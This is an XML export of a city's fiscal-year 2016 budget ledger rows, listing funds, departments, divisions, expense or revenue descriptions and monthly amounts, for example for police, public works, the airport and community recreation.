<row _id="20088"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>MEDICAL-POLICE RETIREE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>125000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>125000</total></row>
<row _id="20089"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4153</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4153</total></row>
<row _id="20090"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20000</total></row>
<row _id="20091"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>405220.0</object><object_description>MAIN ST-LIGHTS &amp; SIDEWLK CLEAN</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-53220</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-53220</total></row>
<row _id="20092"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>407940.0</object><object_description>GREEN BUILDING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-236208</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-236208</total></row>
<row _id="20093"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>407950.0</object><object_description>TRAINING GREEN BUILDING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-1100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1100</total></row>
<row _id="20094"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11000</total></row>
<row _id="20095"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="20096"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>165704</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>165704</total></row>
<row _id="20097"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15300</total></row>
<row _id="20098"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555950.0</object><object_description>COMM SERV FACIL / MGMT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>18000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18000</total></row>
<row _id="20099"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3512</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3512</total></row>
<row _id="20100"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>319</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>319</total></row>
<row _id="20101"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>622</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>622</total></row>
<row _id="20102"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>350</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>350</total></row>
<row _id="20103"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2015</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2015</total></row>
<row _id="20104"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10643</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10643</total></row>
<row _id="20105"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1064</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1064</total></row>
<row _id="20106"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>623</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>623</total></row>
<row _id="20107"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>28250</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>28250</total></row>
<row _id="20108"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2378</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2378</total></row>
<row _id="20109"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>390692</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>390692</total></row>
<row _id="20110"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6514</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6514</total></row>
<row _id="20111"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>404580.0</object><object_description>BAYSAVER FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20112"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>476168</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>476168</total></row>
<row _id="20113"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>58812</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>58812</total></row>
<row _id="20114"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2088</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2088</total></row>
<row _id="20115"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>519</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>519</total></row>
<row _id="20116"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10720</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10720</total></row>
<row _id="20117"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>321459</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>321459</total></row>
<row _id="20118"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>52</fund_id><fund_name>Special Aviation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-1700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1700</total></row>
<row _id="20119"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2258</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2258</total></row>
<row _id="20120"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>21978</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21978</total></row>
<row _id="20121"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13600</total></row>
<row _id="20122"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>300</total></row>
<row _id="20123"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2600</total></row>
<row _id="20124"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>765</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>765</total></row>
<row _id="20125"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4361</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4361</total></row>
<row _id="20126"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1277</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1277</total></row>
<row _id="20127"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1400</total></row>
<row _id="20128"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20129"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>196167</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>196167</total></row>
<row _id="20130"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>21082</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21082</total></row>
<row _id="20131"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2978</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2978</total></row>
<row _id="20132"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4342</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4342</total></row>
<row _id="20133"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6840</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6840</total></row>
<row _id="20134"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>566210.0</object><object_description>AIRPORT FIELD MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3908</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3908</total></row>
<row _id="20135"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>577220.0</object><object_description>INTRST EXP-BONDS &amp; OTHR LOANS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>530170</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>530170</total></row>
<row _id="20136"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>18628</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18628</total></row>
<row _id="20137"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1078</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1078</total></row>
